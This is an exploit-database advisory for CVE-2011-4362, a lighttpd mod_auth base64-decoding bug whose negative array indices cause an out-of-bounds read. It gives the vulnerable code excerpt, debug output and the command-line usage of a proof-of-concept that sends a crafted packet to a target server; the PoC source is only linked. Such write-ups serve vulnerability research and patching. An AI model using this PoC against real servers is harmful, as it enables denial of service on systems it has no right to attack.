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lighttpd - Denial of Service (PoC)

🗓️ 31 Dec 2011 00:00:00Reported by pi3Type 
exploitdb
 exploitdb
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Lighttpd server vulnerability discovered by Xi Wang on 29th November 2011 leads to denial of service attack due to improper decoding of characters from the extended ASCII table in the mod_auth component

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Code
29 of November 2011 was the date of public disclosure interesting
vulnerability in lighttpd server. Xi Wang discovered that mod_auth
for this server does not propely decode characters from the extended
ASCII table. The vulnerable code is below:


"src/http_auth.c:67"
--- CUT ---
static const short base64_reverse_table[256] = ...;
static unsigned char * base64_decode(buffer *out, const char *in) {
	...
	int ch, ...;
	size_t i;
	...

		ch = in[i];
		...
		ch = base64_reverse_table[ch];
	...
}
--- CUT ---

Because variable 'in' is type 'char', characters above 0x80 lead to
negative indices.
This vulnerability may lead out-of-boud read and theoretically cause
Segmentation Fault (Denial of Service attack).
Unfortunately I couldn't find any binaries where .rodata section before
the base64_reverse_table
table cause this situation.

I have added some extra debug in the lighttpd source code to see if this
vulnerability is
executed correctly. Here is output for one of the example:

--- CUT ---
ptr[0x9a92c48] size[0xc0] used[0x0]
127(. | 0 | 0)
-128(t | 1 | 0)
-127(e | 2 | 1)
-126(' | 3 | 2)
-125(e | 4 | 3)
-124(u | 5 | 3)
-123(r | 6 | 4)
-122(' | 7 | 5)
-121(s | 8 | 6)
-120(c | 9 | 6)
-119(i | 10 | 7)
-118(n | 11 | 8)
-117(i | 12 | 9)
-116(  | 13 | 9)
-115(a | 14 | 10)
-114(t | 15 | 11)
-113(. | 16 | 12)
-112(e | 17 | 12)
-111(u | 18 | 13)
-110(r | 19 | 14)
-109(' | 20 | 15)
-108(f | 21 | 15)
-107(i | 22 | 16)
-106(e | 23 | 17)
-105(: | 24 | 18)
-104(= | 25 | 18)
-103(o | 26 | 19)
-102(t | 27 | 20)
-101(o | 28 | 21)
-100(  | 29 | 21)
-99(a | 30 | 22)
-98(g | 31 | 23)
-97(. | 32 | 24)
-96(d | 33 | 24)
-95(g | 34 | 25)
-94(s | 35 | 26)
-93(: | 36 | 27)
-92(u | 37 | 27)
-91(s | 38 | 28)
-90(p | 39 | 29)
-89(o | 40 | 30)
-88(t | 41 | 30)
-87(d | 42 | 31)
-86(b | 43 | 32)
-85(c | 44 | 33)
-84(e | 45 | 33)
-83(d | 46 | 34)
-82(( | 47 | 35)
-81(n | 48 | 36)
-80(y | 49 | 36)
-79(h | 50 | 37)
-78(d | 51 | 38)
-77(g | 52 | 39)
-76(s | 53 | 39)
-75(  | 54 | 40)
-74(r | 55 | 41)
-73(p | 56 | 42)
-72(a | 57 | 42)
-71(n | 58 | 43)
-70(. | 59 | 44)
-69(. | 60 | 45)
-68(d | 61 | 45)
-67(g | 62 | 46)
-66(s | 63 | 47)
-65(: | 64 | 48)
-64(( | 65 | 48)
-63(d | 66 | 49)
-62(- | 67 | 50)
-61(e | 68 | 51)
-60(s | 69 | 51)
-59(  | 70 | 52)
-58(i | 71 | 53)
-57(s | 72 | 54)
-56(n | 73 | 54)
-55(  | 74 | 55)
-54(i | 75 | 56)
-53(l | 76 | 57)
-52(. | 77 | 57)
-51(. | 78 | 58)
-50(k | 79 | 59)
-49(0 | 80 | 60)
-48(% | 81 | 60)
-47(] | 82 | 61)
-46(p | 83 | 62)
-45(r | 84 | 63)
-44(0 | 85 | 63)
-43(% | 86 | 64)
-42(] | 87 | 65)
-41(s | 88 | 66)
-40(z | 89 | 66)
-39([ | 90 | 67)
-38(x | 91 | 68)
-37(x | 92 | 69)
-36(  | 93 | 69)
-35(s | 94 | 70)
-34(d | 95 | 71)
-33(0 | 96 | 72)
-32(% | 97 | 72)
-31(] | 98 | 73)
-30(. | 99 | 74)
-29(. | 100 | 75)
-28(d | 101 | 75)
-27(c | 102 | 76)
-26(d | 103 | 77)
-25(i | 104 | 78)
-24(g | 105 | 78)
-23(b | 106 | 79)
-22(s | 107 | 80)
-21(6 | 108 | 81)
-20(- | 109 | 81)
-19(t | 110 | 82)
-18(i | 111 | 83)
-17(g | 112 | 84)
-16(f | 113 | 84)
-15(i | 114 | 85)
-14(e | 115 | 86)
-13(. | 116 | 87)
-12(. | 117 | 87)
-11(. | 118 | 88)
-10(. | 119 | 89)
-9(. | 120 | 90)
-8(. | 121 | 90)
-7(. | 122 | 91)
-6(. | 123 | 92)
-5(. | 124 | 93)
-4(. | 125 | 93)
-3(. | 126 | 94)
-2(. | 127 | 95)
-1(. | 128 | 96)
k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
ptr[0x9a92c48] size[0xc0] used[0x60]
string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
--- CUT ---

First column is the offset so vulnerability is executed like it should be
(negative offsets). Second column is byte which is read out-of-bound.

How to run this very primitive Proof of Concept?

$ gcc p_cve-2011-4362.c -o p_cve-2011-4362
$ ./p_cve-2011-4362 

	...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki)
]=- :::...

	Usage: ./p_cve-2011-4362 <options>

		Options:
			 -v <victim>
			 -p <port>
			 -d <remote_dir_for_auth>

$ ./p_cve-2011-4362 -h 127.0.0.1 -p 81 -d dupa

	...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki)
]=- :::...

		[+] Preparing arguments... OK
		[+] Creating socket... OK
		[+] Connecting to [127.0.0.1]... OK
		[+] Sending dirty packet... OK

		[+] Check the website!

$ 

Lighttpd will log this situation probably in error-log file like this:

--- CUT ---
..
..
2011-12-xx xx:xx:11: (http_auth.c.887) : is missing in
�Yg\���n�Xt�]rze���gY��\��Yb�Y(�d��r�[Y���-�xi��i�k�Wp�	]߶��\���@V��x���ize

--- CUT ---

Maybe you can find vulnerable binary?

Best regards,
Adam 'pi3' Zabrocki


--
http://pi3.com.pl
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18295.c (p_cve-2011-4362.c)
http://blog.pi3.com.pl/?p=277

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31 Dec 2011 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS25.0
EPSS0.026
213
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